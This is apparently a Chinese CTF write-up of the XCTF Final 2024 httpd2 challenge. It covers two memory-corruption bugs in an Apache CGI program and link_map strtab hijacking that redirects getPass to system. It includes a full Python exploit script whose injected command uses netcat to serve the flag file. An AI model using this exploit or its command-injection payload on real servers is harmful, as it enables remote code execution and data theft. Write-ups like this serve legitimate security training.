xctf final 2024 httpd2 writeup
字数 1235 2025-08-20 18:18:23

XCTF Final 2024 httpd2 Writeup 教学文档

题目概述

这是一个基于Apache服务器的CGI程序漏洞利用题目,主要考察对内存布局的理解和利用能力。题目实现了一个简单的登录逻辑CGI程序main.cgi,其中包含两个漏洞。

漏洞分析

漏洞1:全局数组越界写指针

sub_1429函数中,处理URL参数时会将参数指针保存到全局数组qword_40C0中。虽然代码检查了索引是否超过0x2000,但在循环中没有及时退出,导致可以越界写指针。

if (v11 != 0x2000) {
    qword_40C0[v11] = v10 + 1 + v14;
    if (!v9[1]) break;
}

漏洞2:genCookie函数中的越界写0

genCookie函数中,未检查输入的密码长度,导致可以越界写0:

v4 = strlen(a1);
sub_135A(dest, 0x400uLL, a1, v4 + 1);
dest[v4] = 0;
sprintf(src, ":%lx", buf);
strncat(dest, src, 0x400uLL);
return dest;

利用思路

1. 目标选择

利用第二个漏洞(越界写0)来修改link_map结构中的l_info[DT_STRTAB],劫持_dl_runtime_resolve流程,实现任意函数执行。

2. _dl_runtime_resolve原理

_dl_runtime_resolve在解析函数地址时:

  1. link_map中获取符号表(symtab)和字符串表(strtab)
  2. 根据偏移从符号表获取对应表项
  3. 使用strtab + sym->st_name作为函数名查找函数地址

通过修改strtab,可以控制解析的函数名。

3. 利用步骤

  1. 定位关键地址

    • link_map结构位于libctf.so的内存区域
    • l_info[DT_STRTAB]位于link_map+0x68
    • 需要计算从缓冲区到目标地址的偏移
  2. 伪造strtab

    • 复制原始strtab内容
    • getPass替换为system
    • 保持其他字符串偏移不变
  3. 内存布局

    • 利用全局数组qword_40C0存储伪造的strtab指针
    • 通过越界写0修改l_info[DT_STRTAB]指向伪造的指针
  4. 触发利用

    • 调用getPass函数时,实际会解析为system
    • 将命令作为用户名传入

调试技巧

  1. 由于Apache会fork子进程处理请求,需要附加到正确的进程:

    gdb attach <www用户进程PID>
    
  2. 设置断点和跟踪:

    break fork
    set follow-fork-mode child
    catch exec
    continue
    
  3. 程序会在main.cgi__start处停下,可以开始调试

利用代码实现

import requests

ip = "127.0.0.1"
port = 8888

# 计算关键地址偏移
overflow_start_addr = 0x7fbfd7002000 + 0x14300
link_map_0x68 = 0x7fbfd713c248
ptr_arr_addr = 0x7fbfd7002000 + 0x40C0
real_strtab_addr = 0x7fbfd701aea0

# 计算需要覆盖的偏移
strtab_pad = link_map_0x68 - overflow_start_addr + 2

# 伪造strtab,将getPass替换为system
fake_strtab = "%00__gmon_start__%00_ITM_deregisterTMCloneTable%00_ITM_registerTMCloneTable%00__cxa_finalize%00checkLogin%00genCookie%00getPass%00strcmp%00printf%00libctfc.so%00libc.so.6%00GLIBC_2.2.5%00%00"
fake_strtab = fake_strtab.replace("%00getPass%00", "%00system%00".ljust(len("%00getPass%00"), 'a'))

def cons_ptr_arr():
    least_2_bytes = real_strtab_addr & 0xffff
    re = ""
    offset = ptr_arr_addr
    for i in range(0x2000):
        if (offset-8) & 0xffff == least_2_bytes:
            re += fake_strtab
            break
        else:
            re += "a=b"
            offset += 8
        re += '&'
    return re

def send_req(data):
    url = f"http://{ip}:{port}/cgi-bin/main.cgi"
    data_len = len(data)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Content-Length": f"{data_len}",
    }
    response = requests.post(url, data=data)
    print(response.text)

# 构造利用数据
data = cons_ptr_arr()
cmd = "nc -lvp 8888 < ../flag"
data += f"&username={cmd}&passwd={'a'*strtab_pad}&a=b"

# 尝试利用
i = 0
while True:
    i += 1
    print(i)
    send_req(data)

关键点总结

  1. 漏洞选择:虽然有两个漏洞,但只有越界写0的漏洞实际可利用
  2. 利用目标:选择修改link_map结构中的strtab指针
  3. 内存布局
    • 精确计算偏移量
    • 利用全局数组存储伪造指针
  4. 函数劫持:将getPass替换为system
  5. 稳定性:由于ASLR存在,可能需要多次尝试

防御建议

  1. 对所有数组访问进行边界检查
  2. 对用户输入的长度进行严格限制
  3. 使用更安全的字符串处理函数
  4. 启用更严格的内存保护机制(如FORTIFY_SOURCE)

这个题目展示了如何利用看似微小的内存破坏漏洞(单个字节的越界写)来实现完整的代码执行,强调了内存安全编程的重要性。

XCTF Final 2024 httpd2 Writeup 教学文档 题目概述 这是一个基于Apache服务器的CGI程序漏洞利用题目,主要考察对内存布局的理解和利用能力。题目实现了一个简单的登录逻辑CGI程序 main.cgi ,其中包含两个漏洞。 漏洞分析 漏洞1:全局数组越界写指针 在 sub_1429 函数中,处理URL参数时会将参数指针保存到全局数组 qword_40C0 中。虽然代码检查了索引是否超过 0x2000 ,但在循环中没有及时退出,导致可以越界写指针。 漏洞2:genCookie函数中的越界写0 在 genCookie 函数中,未检查输入的密码长度,导致可以越界写0: 利用思路 1. 目标选择 利用第二个漏洞(越界写0)来修改 link_map 结构中的 l_info[DT_STRTAB] ,劫持 _dl_runtime_resolve 流程,实现任意函数执行。 2. _ dl_ runtime_ resolve原理 _dl_runtime_resolve 在解析函数地址时: 从 link_map 中获取符号表( symtab )和字符串表( strtab ) 根据偏移从符号表获取对应表项 使用 strtab + sym->st_name 作为函数名查找函数地址 通过修改 strtab ,可以控制解析的函数名。 3. 利用步骤 定位关键地址 : link_map 结构位于 libctf.so 的内存区域 l_info[DT_STRTAB] 位于 link_map+0x68 处 需要计算从缓冲区到目标地址的偏移 伪造strtab : 复制原始 strtab 内容 将 getPass 替换为 system 保持其他字符串偏移不变 内存布局 : 利用全局数组 qword_40C0 存储伪造的 strtab 指针 通过越界写0修改 l_info[DT_STRTAB] 指向伪造的指针 触发利用 : 调用 getPass 函数时,实际会解析为 system 将命令作为用户名传入 调试技巧 由于Apache会fork子进程处理请求,需要附加到正确的进程: 设置断点和跟踪: 程序会在 main.cgi 的 __start 处停下,可以开始调试 利用代码实现 关键点总结 漏洞选择 :虽然有两个漏洞,但只有越界写0的漏洞实际可利用 利用目标 :选择修改 link_map 结构中的 strtab 指针 内存布局 : 精确计算偏移量 利用全局数组存储伪造指针 函数劫持 :将 getPass 替换为 system 稳定性 :由于ASLR存在,可能需要多次尝试 防御建议 对所有数组访问进行边界检查 对用户输入的长度进行严格限制 使用更安全的字符串处理函数 启用更严格的内存保护机制(如FORTIFY_ SOURCE) 这个题目展示了如何利用看似微小的内存破坏漏洞(单个字节的越界写)来实现完整的代码执行,强调了内存安全编程的重要性。